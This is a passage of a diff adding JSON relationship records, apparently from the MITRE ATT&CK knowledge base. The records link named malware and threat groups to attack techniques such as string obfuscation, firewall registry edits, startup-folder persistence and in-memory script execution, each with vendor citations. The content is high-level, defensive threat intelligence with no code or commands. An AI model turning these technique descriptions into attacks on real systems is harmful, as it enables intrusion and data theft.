"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37533c33-9cc4-4707-8b30-d8be6aeaefc6", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.118Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e68684df-28b4-4f06-b553-cacf14866605", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) gathers computer name and information using the systeminfo command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5aaa885e-3e87-4904-8007-1001f4a5642f", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.153Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91b22928-d538-4460-a5ff-7a0a5e797430", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + }, + { + "source_name": "Security Affairs Elderwood Sept 2012", + "description": "Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.", + "url": "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html" + } + ], + "modified": "2019-03-22T20:15:19.414Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[cmd](https://attack.mitre.org/software/S0106) is used to execute programs and other actions at the command-line interface.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235", + "external_references": [ + { + "source_name": "TechNet Cmd", + "description": "Microsoft. (n.d.). Cmd. Retrieved April 18, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490880.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has obfuscated a script with Crypto Obfuscator.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c75f4e0-27ab-45d0-b8bc-3991137bdb87", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.780Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) modifies the firewall Registry key SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfileGloballyOpenPorts\\\\List.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e559e10-483a-42ca-8ddf-d8ca04ed8bd2", + "external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. 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Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:15.958Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) command and control occurs via HTTPS over port 443.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is written in PowerShell.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4c7e12f-6921-4007-ab15-595969bf9eca", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After decrypting itself in memory, [RARSTONE](https://attack.mitre.org/software/S0055) downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. 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Retrieved January 8, 2016.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to capture video from a webcam.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2043a8a7-d365-4f5c-9ee3-5b9be710f14d", + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "source_name": "Kaspersky Adwind Feb 2016", + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "modified": "2019-06-24T17:20:24.272Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can execute commands on victims.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7276fbbe-3237-4e95-b2ad-8518327432ba", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate system information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used PowerShell scripts to download and execute programs in memory, without writing to disk.", + "type": "relationship", + "created": "2017-05-31T21:33:27.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8cbcb17a-01f4-4899-bc83-9b02fd44f861", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "modified": "2019-03-22T20:09:34.734Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used multiple types of scripting for execution, including JavaScript, JavaScript Scriptlets in XML, and VBScript.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--88898d14-9313-4fdd-8ef5-584d8dcdec17", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.192Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) decodes strings in the malware using XOR and RC4.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49f9b769-57d1-4d73-8194-59b584a72c1b", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used UPX to pack files.", + "type": "relationship", + "created": "2017-05-31T21:33:27.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.183Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T19:00:50.526Z", + "type": "relationship", + "id": "relationship--7a99577b-711d-425a-a5d9-673b134d403d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--14b63e6b-7531-4476-9e60-02cc5db48b62", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) completes network communication via raw sockets.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2fb04d2a-a564-4bcf-9366-5fc46040fed5", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T12:58:44.313Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--571029bc-2427-4f75-b16d-2116bc671e2f", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses port 443 for the control server communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b5db549-1451-400b-bad8-75892f347aae", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.143Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--549fdc30-5269-48ee-9dc8-60db8deb836a", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) uses the Skype API to record audio and video calls. It writes encrypted data to %APPDATA%\\Intel\\Skype.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--842f8f4b-9d90-4533-850f-777f33ef8257", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) enumerates directories and obtains file attributes on a system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60c352ec-eb4c-451a-a56e-43a9dc4ee91f", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Imecab to set up a persistent remote access account on the victim machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c6ee4856-1782-4430-af7f-4d71e84c9b97", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.412Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) drops and executes a malicious CPL file as its payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad4bd339-7416-45de-8202-f91c6909be05", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) compressed data with zlib prior to sending it over C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45522d60-160a-4c07-bd98-9a487175910e", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) establishes persistence by creating a shortcut (.LNK file) in the Windows startup folder to run a script each time the user logs in.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0040312a-e85d-4066-8203-2e66f8aa5288", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.191Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can create a remote shell and run a given command.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f448f20-0349-4132-80ec-d46e94d52426", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f8a21871-d67b-4e89-82db-580d117d28fb", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.436Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs and browsers, including popular instant messaging applications, Web browsers, and email clients. Windows account 